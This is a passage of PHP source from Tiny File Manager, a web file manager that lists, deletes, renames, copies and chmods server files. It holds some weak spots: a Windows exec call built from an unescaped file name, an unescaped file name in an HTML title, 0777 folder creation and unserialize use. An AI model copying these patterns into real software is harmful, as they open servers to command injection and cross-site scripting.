                <?php echo lng('ChangePermissions') ?>
            </h6>
            <div class="card-body">
                <p class="card-text">
                    Full path: <?php echo $file_path ?><br>
                </p>
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden" name="chmod" value="<?php echo fm_enc($file) ?>">

                    <table class="table compact-table <?php echo fm_get_theme(); ?>">
                        <tr>
                            <td></td>
                            <td><b><?php echo lng('Owner') ?></b></td>
                            <td><b><?php echo lng('Group') ?></b></td>
                            <td><b><?php echo lng('Other') ?></b></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Read') ?></b></td>
                            <td><label><input type="checkbox" name="ur" value="1"<?php echo ($mode & 00400) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gr" value="1"<?php echo ($mode & 00040) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="or" value="1"<?php echo ($mode & 00004) ? ' checked' : '' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Write') ?></b></td>
                            <td><label><input type="checkbox" name="uw" value="1"<?php echo ($mode & 00200) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gw" value="1"<?php echo ($mode & 00020) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="ow" value="1"<?php echo ($mode & 00002) ? ' checked' : '' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Execute') ?></b></td>
                            <td><label><input type="checkbox" name="ux" value="1"<?php echo ($mode & 00100) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gx" value="1"<?php echo ($mode & 00010) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="ox" value="1"<?php echo ($mode & 00001) ? ' checked' : '' ?>></label></td>
                        </tr>
                    </table>

                    <p>
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Change') ?></button> &nbsp;
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>
                    </p>
                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

//--- FILEMANAGER MAIN
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path

// messages
fm_show_message();

$num_files = count($files);
$num_folders = count($folders);
$all_files_size = 0;
$tableTheme = (FM_THEME == "dark") ? "text-white bg-dark table-dark" : "bg-white";
?>
<form action="" method="post" class="pt-3">
    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
    <input type="hidden" name="group" value="1">
    <div class="table-responsive">
        <table class="table table-bordered table-hover table-sm <?php echo $tableTheme; ?>" id="main-table">
            <thead class="thead-white">
            <tr>
                <?php if (!FM_READONLY): ?>
                    <th style="width:3%" class="custom-checkbox-header">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="js-select-all-items" onclick="checkbox_toggle()">
                            <label class="custom-control-label" for="js-select-all-items"></label>
                        </div>
                    </th><?php endif; ?>
                <th><?php echo lng('Name') ?></th>
                <th><?php echo lng('Size') ?></th>
                <th><?php echo lng('Modified') ?></th>
                <?php if (!FM_IS_WIN && !$hide_Cols): ?>
                    <th><?php echo lng('Perms') ?></th>
                    <th><?php echo lng('Owner') ?></th><?php endif; ?>
                <th><?php echo lng('Actions') ?></th>
            </tr>
            </thead>
            <?php
            // link to parent folder
            if ($parent !== false) {
                ?>
                <tr><?php if (!FM_READONLY): ?>
                    <td class="nosort"></td><?php endif; ?>
                    <td class="border-0"><a href="?p=<?php echo urlencode($parent) ?>"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td>
                    <td class="border-0"></td>
                    <td class="border-0"></td>
                    <td class="border-0"></td>
                    <?php if (!FM_IS_WIN && !$hide_Cols) { ?>
                        <td class="border-0"></td>
                        <td class="border-0"></td>
                    <?php } ?>
                </tr>
                <?php
            }
            $ii = 3399;
            foreach ($folders as $f) {
                $is_link = is_link($path . '/' . $f);
                $img = $is_link ? 'icon-link_folder' : 'fa fa-folder-o';
                $modif_raw = filemtime($path . '/' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                if ($calc_folder) {
                    $filesize_raw = fm_get_directorysize($path . '/' . $f);
                    $filesize = fm_get_filesize($filesize_raw);
                }
                else {
                    $filesize_raw = "";
                    $filesize = lng('Folder');
                }
                $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
                if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
                    $owner = posix_getpwuid(fileowner($path . '/' . $f));
                    $group = posix_getgrgid(filegroup($path . '/' . $f));
                } else {
                    $owner = array('name' => '?');
                    $group = array('name' => '?');
                }
                ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="<?php echo $ii ?>" name="file[]" value="<?php echo fm_enc($f) ?>">
                            <label class="custom-control-label" for="<?php echo $ii ?>"></label>
                        </div>
                        </td><?php endif; ?>
                    <td>
                        <div class="filename"><a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fm_enc($f)) ?>
                            </a><?php echo($is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '') ?></div>
                    </td>
                    <td data-sort="a-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT);?>">
                        <?php echo $filesize; ?>
                    </td>
                    <td data-sort="a-<?php echo $modif_raw;?>"><?php echo $modif ?></td>
                    <?php if (!FM_IS_WIN && !$hide_Cols): ?>
                        <td><?php if (!FM_READONLY): ?><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td><?php echo $owner['name'] . ':' . $group['name'] ?></td>
                    <?php endif; ?>
                    <td class="inline-actions"><?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Delete')?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="return confirm('<?php echo lng('Delete').' '.lng('Folder').'?'; ?>\n \n ( <?php echo urlencode($f) ?> )');"> <i class="fa fa-trash-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng('Rename')?>" href="#" onclick="rename('<?php echo fm_enc(addslashes(FM_PATH)) ?>', '<?php echo fm_enc(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng('CopyTo')?>..." href="?p=&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o" aria-hidden="true"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng('DirectLink')?>" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f . '/') ?>" target="_blank"><i class="fa fa-link" aria-hidden="true"></i></a>
                    </td>
                </tr>
                <?php
                flush();
                $ii++;
            }
            $ik = 6070;
            foreach ($files as $f) {
                $is_link = is_link($path . '/' . $f);
                $img = $is_link ? 'fa fa-file-text-o' : fm_get_file_icon_class($path . '/' . $f);
                $modif_raw = filemtime($path . '/' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                $filesize_raw = fm_get_size($path . '/' . $f);
                $filesize = fm_get_filesize($filesize_raw);
                $filelink = '?p=' . urlencode(FM_PATH) . '&amp;view=' . urlencode($f);
                $all_files_size += $filesize_raw;
                $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
                if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
                    $owner = posix_getpwuid(fileowner($path . '/' . $f));
                    $group = posix_getgrgid(filegroup($path . '/' . $f));
                } else {
                    $owner = array('name' => '?');
                    $group = array('name' => '?');
                }
                ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="<?php echo $ik ?>" name="file[]" value="<?php echo fm_enc($f) ?>">
                            <label class="custom-control-label" for="<?php echo $ik ?>"></label>
                        </div>
                        </td><?php endif; ?>
                    <td>
                        <div class="filename">
                        <?php
                           if (in_array(strtolower(pathinfo($f, PATHINFO_EXTENSION)), array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))): ?>
                                <?php $imagePreview = fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f); ?>
                                <a href="<?php echo $filelink ?>" data-preview-image="<?php echo $imagePreview ?>" title="<?php echo fm_enc($f) ?>">
                           <?php else: ?>
                                <a href="<?php echo $filelink ?>" title="<?php echo $f ?>">
                            <?php endif; ?>
                                    <i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fm_enc($f)) ?>
                                </a>
                                <?php echo($is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '') ?>
                        </div>
                    </td>
                    <td data-sort=b-"<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>"><span title="<?php printf('%s bytes', $filesize_raw) ?>">
                        <?php echo $filesize; ?>
                        </span></td>
                    <td data-sort="b-<?php echo $modif_raw;?>"><?php echo $modif ?></td>
                    <?php if (!FM_IS_WIN && !$hide_Cols): ?>
                        <td><?php if (!FM_READONLY): ?><a title="<?php echo 'Change Permissions' ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td><?php echo fm_enc($owner['name'] . ':' . $group['name']) ?></td>
                    <?php endif; ?>
                    <td class="inline-actions">
                        <a title="<?php echo lng('Preview') ?>" href="<?php echo $filelink.'&quickView=1'; ?>" data-toggle="lightbox" data-gallery="tiny-gallery" data-title="<?php echo fm_convert_win(fm_enc($f)) ?>" data-max-width="100%" data-width="100%"><i class="fa fa-eye"></i></a>
                        <?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="return confirm('<?php echo lng('Delete').' '.lng('File').'?'; ?>\n \n ( <?php echo urlencode($f) ?> )');"> <i class="fa fa-trash-o"></i></a>
                            <a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo fm_enc(addslashes(FM_PATH)) ?>', '<?php echo fm_enc(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o"></i></a>
                            <a title="<?php echo lng('CopyTo') ?>..."
                               href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng('DirectLink') ?>" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f) ?>" target="_blank"><i class="fa fa-link"></i></a>
                        <a title="<?php echo lng('Download') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($f) ?>"><i class="fa fa-download"></i></a>
                    </td>
                </tr>
                <?php
                flush();
                $ik++;
            }

            if (empty($folders) && empty($files)) {
                ?>
                <tfoot>
                    <tr><?php if (!FM_READONLY): ?>
                            <td></td><?php endif; ?>
                        <td colspan="<?php echo (!FM_IS_WIN && !$hide_Cols) ? '6' : '4' ?>"><em><?php echo 'Folder is empty' ?></em></td>
                    </tr>
                </tfoot>
                <?php
            } else {
                ?>
                <tfoot>
                    <tr><?php if (!FM_READONLY): ?>
                            <td class="gray"></td><?php endif; ?>
                        <td class="gray" colspan="<?php echo (!FM_IS_WIN && !$hide_Cols) ? '6' : '4' ?>">
                            <?php echo lng('FullSize').': <span class="badge badge-light">'.fm_get_filesize($all_files_size).'</span>' ?>
                            <?php echo lng('File').': <span class="badge badge-light">'.$num_files.'</span>' ?>
                            <?php echo lng('Folder').': <span class="badge badge-light">'.$num_folders.'</span>' ?>
                            <?php echo lng('PartitionSize').': <span class="badge badge-light">'.fm_get_filesize(@disk_free_space($path)) .'</span> '.lng('FreeOf').' <span class="badge badge-light">'.fm_get_filesize(@disk_total_space($path)).'</span>'; ?>
                        </td>
                    </tr>
                </tfoot>
                <?php
            }
            ?>
        </table>
    </div>

    <div class="row">
        <?php if (!FM_READONLY): ?>
        <div class="col-xs-12 col-sm-9">
            <ul class="list-inline footer-action">
                <li class="list-inline-item"> <a href="#/select-all" class="btn btn-small btn-outline-primary btn-2" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php echo lng('SelectAll') ?> </a></li>
                <li class="list-inline-item"><a href="#/unselect-all" class="btn btn-small btn-outline-primary btn-2" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php echo lng('UnSelectAll') ?> </a></li>
                <li class="list-inline-item"><a href="#/invert-all" class="btn btn-small btn-outline-primary btn-2" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php echo lng('InvertSelection') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="delete" id="a-delete" value="Delete" onclick="return confirm('<?php echo lng('Delete selected files and folders?'); ?>')">
                    <a href="javascript:document.getElementById('a-delete').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-trash"></i> <?php echo lng('Delete') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="zip" id="a-zip" value="zip" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
                    <a href="javascript:document.getElementById('a-zip').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Zip') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="tar" id="a-tar" value="tar" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
                    <a href="javascript:document.getElementById('a-tar').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Tar') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="copy" id="a-copy" value="Copy">
                    <a href="javascript:document.getElementById('a-copy').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-files-o"></i> <?php echo lng('Copy') ?> </a></li>
            </ul>
        </div>
        <div class="col-3 d-none d-sm-block"><a href="https://tinyfilemanager.github.io" target="_blank" class="float-right text-muted">Tiny File Manager <?php echo VERSION; ?></a></div>
        <?php else: ?>
            <div class="col-12"><a href="https://tinyfilemanager.github.io" target="_blank" class="float-right text-muted">Tiny File Manager <?php echo VERSION; ?></a></div>
        <?php endif; ?>
    </div>

</form>

<?php
fm_show_footer();

//--- END

// Functions

/**
 * Check if the filename is allowed.
 * @param string $filename
 * @return bool
 */
function fm_is_file_allowed($filename)
{
    // By default, no file is allowed
    $allowed = false;

    if (FM_EXTENSION) {
        $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));

        if (in_array($ext, explode(',', strtolower(FM_EXTENSION)))) {
            $allowed = true;
        }
    }

    return $allowed;
}

/**
 * Delete  file or folder (recursively)
 * @param string $path
 * @return bool
 */
function fm_rdelete($path)
{
    if (is_link($path)) {
        return unlink($path);
    } elseif (is_dir($path)) {
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (!fm_rdelete($path . '/' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return ($ok) ? rmdir($path) : false;
    } elseif (is_file($path)) {
        return unlink($path);
    }
    return false;
}

/**
 * Recursive chmod
 * @param string $path
 * @param int $filemode
 * @param int $dirmode
 * @return bool
 * @todo Will use in mass chmod
 */
function fm_rchmod($path, $filemode, $dirmode)
{
    if (is_dir($path)) {
        if (!chmod($path, $dirmode)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) {
                        return false;
                    }
                }
            }
        }
        return true;
    } elseif (is_link($path)) {
        return true;
    } elseif (is_file($path)) {
        return chmod($path, $filemode);
    }
    return false;
}

/**
 * Check the file extension which is allowed or not
 * @param string $filename
 * @return bool
 */
function fm_is_valid_ext($filename)
{
    $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false;

    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    return ($isFileAllowed) ? true : false;
}

/**
 * Safely rename
 * @param string $old
 * @param string $new
 * @return bool|null
 */
function fm_rename($old, $new)
{
    $isFileAllowed = fm_is_valid_ext($new);

    if(!$isFileAllowed) return false;

    return (!file_exists($new) && file_exists($old)) ? rename($old, $new) : null;
}

/**
 * Copy file or folder (recursively).
 * @param string $path
 * @param string $dest
 * @param bool $upd Update files
 * @param bool $force Create folder with same names instead file
 * @return bool
 */
function fm_rcopy($path, $dest, $upd = true, $force = true)
{
    if (is_dir($path)) {
        if (!fm_mkdir($dest, $force)) {
            return false;
        }
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return $ok;
    } elseif (is_file($path)) {
        return fm_copy($path, $dest, $upd);
    }
    return false;
}

/**
 * Safely create folder
 * @param string $dir
 * @param bool $force
 * @return bool
 */
function fm_mkdir($dir, $force)
{
    if (file_exists($dir)) {
        if (is_dir($dir)) {
            return $dir;
        } elseif (!$force) {
            return false;
        }
        unlink($dir);
    }
    return mkdir($dir, 0777, true);
}

/**
 * Safely copy file
 * @param string $f1
 * @param string $f2
 * @param bool $upd Indicates if file should be updated with new content
 * @return bool
 */
function fm_copy($f1, $f2, $upd)
{
    $time1 = filemtime($f1);
    if (file_exists($f2)) {
        $time2 = filemtime($f2);
        if ($time2 >= $time1 && $upd) {
            return false;
        }
    }
    $ok = copy($f1, $f2);
    if ($ok) {
        touch($f2, $time1);
    }
    return $ok;
}

/**
 * Get mime type
 * @param string $file_path
 * @return mixed|string
 */
function fm_get_mime_type($file_path)
{
    if (function_exists('finfo_open')) {
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mime = finfo_file($finfo, $file_path);
        finfo_close($finfo);
        return $mime;
    } elseif (function_exists('mime_content_type')) {
        return mime_content_type($file_path);
    } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) {
        $file = escapeshellarg($file_path);
        $mime = shell_exec('file -bi ' . $file);
        return $mime;
    } else {
        return '--';
    }
}

/**
 * HTTP Redirect
 * @param string $url
 * @param int $code
 */
function fm_redirect($url, $code = 302)
{
    header('Location: ' . $url, true, $code);
    exit;
}

/**
 * Path traversal prevention and clean the url
 * It replaces (consecutive) occurrences of / and \\ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine.
 * @param $path
 * @return string
 */
function get_absolute_path($path) {
    $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
    $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
    $absolutes = array();
    foreach ($parts as $part) {
        if ('.' == $part) continue;
        if ('..' == $part) {
            array_pop($absolutes);
        } else {
            $absolutes[] = $part;
        }
    }
    return implode(DIRECTORY_SEPARATOR, $absolutes);
}

/**
 * Clean path
 * @param string $path
 * @return string
 */
function fm_clean_path($path, $trim = true)
{
    $path = $trim ? trim($path) : $path;
    $path = trim($path, '\\/');
    $path = str_replace(array('../', '..\\'), '', $path);
    $path =  get_absolute_path($path);
    if ($path == '..') {
        $path = '';
    }
    return str_replace('\\', '/', $path);
}

/**
 * Get parent path
 * @param string $path
 * @return bool|string
 */
function fm_get_parent_path($path)
{
    $path = fm_clean_path($path);
    if ($path != '') {
        $array = explode('/', $path);
        if (count($array) > 1) {
            $array = array_slice($array, 0, -1);
            return implode('/', $array);
        }
        return '';
    }
    return false;
}

/**
 * Check file is in exclude list
 * @param string $file
 * @return bool
 */
function fm_is_exclude_items($file) {
    $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
    if (isset($exclude_items) and sizeof($exclude_items)) {
        unset($exclude_items);
    }

    $exclude_items = FM_EXCLUDE_ITEMS;
    if (version_compare(PHP_VERSION, '7.0.0', '<')) {
        $exclude_items = unserialize($exclude_items);
    }
    if (!in_array($file, $exclude_items) && !in_array("*.$ext", $exclude_items)) {
        return true;
    }
    return false;
}

/**
 * get language translations from json file
 * @param int $tr
 * @return array
 */
function fm_get_translations($tr) {
    try {
        $content = @file_get_contents('translation.json');
        if($content !== FALSE) {
            $lng = json_decode($content, TRUE);
            global $lang_list;
            foreach ($lng["language"] as $key => $value)
            {
                $code = $value["code"];
                $lang_list[$code] = $value["name"];
                if ($tr)
                    $tr[$code] = $value["translation"];
            }
            return $tr;
        }

    }
    catch (Exception $e) {
        echo $e;
    }
}

/**
 * @param $file
 * Recover all file sizes larger than > 2GB.
 * Works on php 32bits and 64bits and supports linux
 * @return int|string
 */
function fm_get_size($file)
{
    static $iswin;
    static $isdarwin;
    if (!isset($iswin)) {
        $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN');
    }
    if (!isset($isdarwin)) {
        $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN");
    }

    static $exec_works;
    if (!isset($exec_works)) {
        $exec_works = (function_exists('exec') && !ini_get('safe_mode') && @exec('echo EXEC') == 'EXEC');
    }

    // try a shell command
    if ($exec_works) {
        $arg = escapeshellarg($file);
        $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg");
        @exec($cmd, $output);
        if (is_array($output) && ctype_digit($size = trim(implode("\n", $output)))) {
            return $size;
        }
    }

    // try the Windows COM interface
    if ($iswin && class_exists("COM")) {
        try {
            $fsobj = new COM('Scripting.FileSystemObject');
            $f = $fsobj->GetFile( realpath($file) );
            $size = $f->Size;
        } catch (Exception $e) {
            $size = null;
        }
        if (ctype_digit($size)) {
            return $size;
        }
    }

    // if all else fails
    return filesize($file);
}

/**
 * Get nice filesize
 * @param int $size
 * @return string
 */
function fm_get_filesize($size)
{
    $size = (float) $size;
    $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
    $power = $size > 0 ? floor(log($size, 1024)) : 0;
    return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]);
}

/**
 * Get director total size
 * @param string $directory
 * @return int
 */
function fm_get_directorysize($directory) {
    global $calc_folder;
    if ($calc_folder==true) { //  Slower output
      $size = 0;  $count= 0;  $dirCount= 0;
    foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory)) as $file)
    if ($file->isFile())
        {   $size+=$file->getSize();
            $count++;
        }
    else if ($file->isDir()) { $dirCount++; }
    // return [$size, $count, $dirCount];
    return $size;
    }
    else return 'Folder'; //  Quick output
}

/**
 * Get info about zip archive
 * @param string $path
 * @return array|bool
 */
function fm_get_zif_info($path, $ext) {
    if ($ext == 'zip' && function_exists('zip_open')) {
        $arch = zip_open($path);
        if ($arch) {
            $filenames = array();
            while ($zip_entry = zip_read($arch)) {
                $zip_name = zip_entry_name($zip_entry);
                $zip_folder = substr($zip_name, -1) == '/';
                $filenames[] = array(
                    'name' => $zip_name,
                    'filesize' => zip_entry_filesize($zip_entry),
                    'compressed_size' => zip_entry_compressedsize($zip_entry),
                    'folder' => $zip_folder
                    //'compression_method' => zip_entry_compressionmethod($zip_entry),
                );
            }
            zip_close($arch);
            return $filenames;
        }
    } elseif($ext == 'tar' && class_exists('PharData')) {
        $archive = new PharData($path);
        $filenames = array();
        foreach(new RecursiveIteratorIterator($archive) as $file) {
            $parent_info = $file->getPathInfo();
            $zip_name = str_replace("phar://".$path, '', $file->getPathName());
            $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0);
            $zip_folder = $parent_info->getFileName();
            $zip_info = new SplFileInfo($file);
            $filenames[] = array(
                'name' => $zip_name,
                'filesize' => $zip_info->getSize(),
                'compressed_size' => $file->getCompressedSize(),
                'folder' => $zip_folder
            );
        }
        return $filenames;
    }
    return false;
}

/**
 * Encode html entities
 * @param string $text
 * @return string
 */
function fm_enc($text)
{
    return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}

/**
 * Prevent XSS attacks
 * @param string $text
 * @return string
 */
function fm_isvalid_filename($text) {
    return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false;
}

/**
 * Save message in session
 * @param string $msg
 * @param string $status
 */
function fm_set_msg($msg, $status = 'ok')
{
    $_SESSION[FM_SESSION_ID]['message'] = $msg;
    $_SESSION[FM_SESSION_ID]['status'] = $status;
}

/**
 * Check if string is in UTF-8
 * @param string $string
 * @return int
 */
function fm_is_utf8($string)
{
    return preg_match('//u', $string);
}

/**
 * Convert file name to UTF-8 in Windows
 * @param string $filename
 * @return string
 */
function fm_convert_win($filename)
{
    if (FM_IS_WIN && function_exists('iconv')) {
        $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename);
    }
    return $filename;
}

/**
 * @param $obj
 * @return array
 */
function fm_object_to_array($obj)
{
    if (!is_object($obj) && !is_array($obj)) {
        return $obj;
    }
    if (is_object($obj)) {
        $obj = get_object_vars($obj);
    }
    return array_map('fm_object_to_array', $obj);
}

/**
 * Get CSS classname for file
 * @param string $path
 * @return string
 */
function fm_get_file_icon_class($path)
{
    // get extension
    $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));

    switch ($ext) {
        case 'ico':
        case 'gif':
        case 'jpg':
        case 'jpeg':
        case 'jpc':
        case 'jp2':
        case 'jpx':
        case 'xbm':
        case 'wbmp':
        case 'png':
        case 'bmp':
        case 'tif':
        case 'tiff':
        case 'webp':
        case 'avif':
        case 'svg':
            $img = 'fa fa-picture-o';
            break;
        case 'passwd':
        case 'ftpquota':
        case 'sql':
        case 'js':
        case 'json':
        case 'sh':
        case 'config':
        case 'twig':
        case 'tpl':
        case 'md':
        case 'gitignore':
        case 'c':
        case 'cpp':
        case 'cs':
        case 'py':
        case 'rs':
        case 'map':
        case 'lock':
        case 'dtd':
            $img = 'fa fa-file-code-o';
            break;
        case 'txt':
        case 'ini':
        case 'conf':
        case 'log':
        case 'htaccess':
            $img = 'fa fa-file-text-o';
            break;
        case 'css':
        case 'less':
        case 'sass':
        case 'scss':
            $img = 'fa fa-css3';
            break;
        case 'bz2':
        case 'zip':
        case 'rar':
        case 'gz':
        case 'tar':
        case '7z':
        case 'xz':
            $img = 'fa fa-file-archive-o';
            break;
        case 'php':
        case 'php4':
        case 'php5':
        case 'phps':
        case 'phtml':
            $img = 'fa fa-code';
            break;
        case 'htm':
        case 'html':
        case 'shtml':
        case 'xhtml':
            $img = 'fa fa-html5';
            break;
        case 'xml':
        case 'xsl':
            $img = 'fa fa-file-excel-o';
            break;
        case 'wav':
        case 'mp3':
        case 'mp2':
        case 'm4a':
        case 'aac':
        case 'ogg':
        case 'oga':
        case 'wma':
        case 'mka':
        case 'flac':
        case 'ac3':
        case 'tds':
            $img = 'fa fa-music';
            break;
        case 'm3u':
        case 'm3u8':
        case 'pls':
        case 'cue':
        case 'xspf':
            $img = 'fa fa-headphones';
            break;
        case 'avi':
        case 'mpg':
        case 'mpeg':
        case 'mp4':
        case 'm4v':
        case 'flv':
        case 'f4v':
        case 'ogm':
        case 'ogv':
        case 'mov':
        case 'mkv':
        case '3gp':
        case 'asf':
        case 'wmv':
            $img = 'fa fa-file-video-o';
            break;
        case 'eml':
        case 'msg':
            $img = 'fa fa-envelope-o';
            break;
        case 'xls':
        case 'xlsx':
        case 'ods':
            $img = 'fa fa-file-excel-o';
            break;
        case 'csv':
            $img = 'fa fa-file-text-o';
            break;
        case 'bak':
        case 'swp':
            $img = 'fa fa-clipboard';
            break;
        case 'doc':
        case 'docx':
        case 'odt':
            $img = 'fa fa-file-word-o';
            break;
        case 'ppt':
        case 'pptx':
            $img = 'fa fa-file-powerpoint-o';
            break;
        case 'ttf':
        case 'ttc':
        case 'otf':
        case 'woff':
        case 'woff2':
        case 'eot':
        case 'fon':
            $img = 'fa fa-font';
            break;
        case 'pdf':
            $img = 'fa fa-file-pdf-o';
            break;
        case 'psd':
        case 'ai':
        case 'eps':
        case 'fla':
        case 'swf':
            $img = 'fa fa-file-image-o';
            break;
        case 'exe':
        case 'msi':
            $img = 'fa fa-file-o';
            break;
        case 'bat':
            $img = 'fa fa-terminal';
            break;
        default:
            $img = 'fa fa-info-circle';
    }

    return $img;
}

/**
 * Get image files extensions
 * @return array
 */
function fm_get_image_exts()
{
    return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif');
}

/**
 * Get video files extensions
 * @return array
 */
function fm_get_video_exts()
{
    return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv');
}

/**
 * Get audio files extensions
 * @return array
 */
function fm_get_audio_exts()
{
    return array('wav', 'mp3', 'ogg', 'm4a');
}

/**
 * Get text file extensions
 * @return array
 */
function fm_get_text_exts()
{
    return array(
        'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'json', 'sh', 'config',
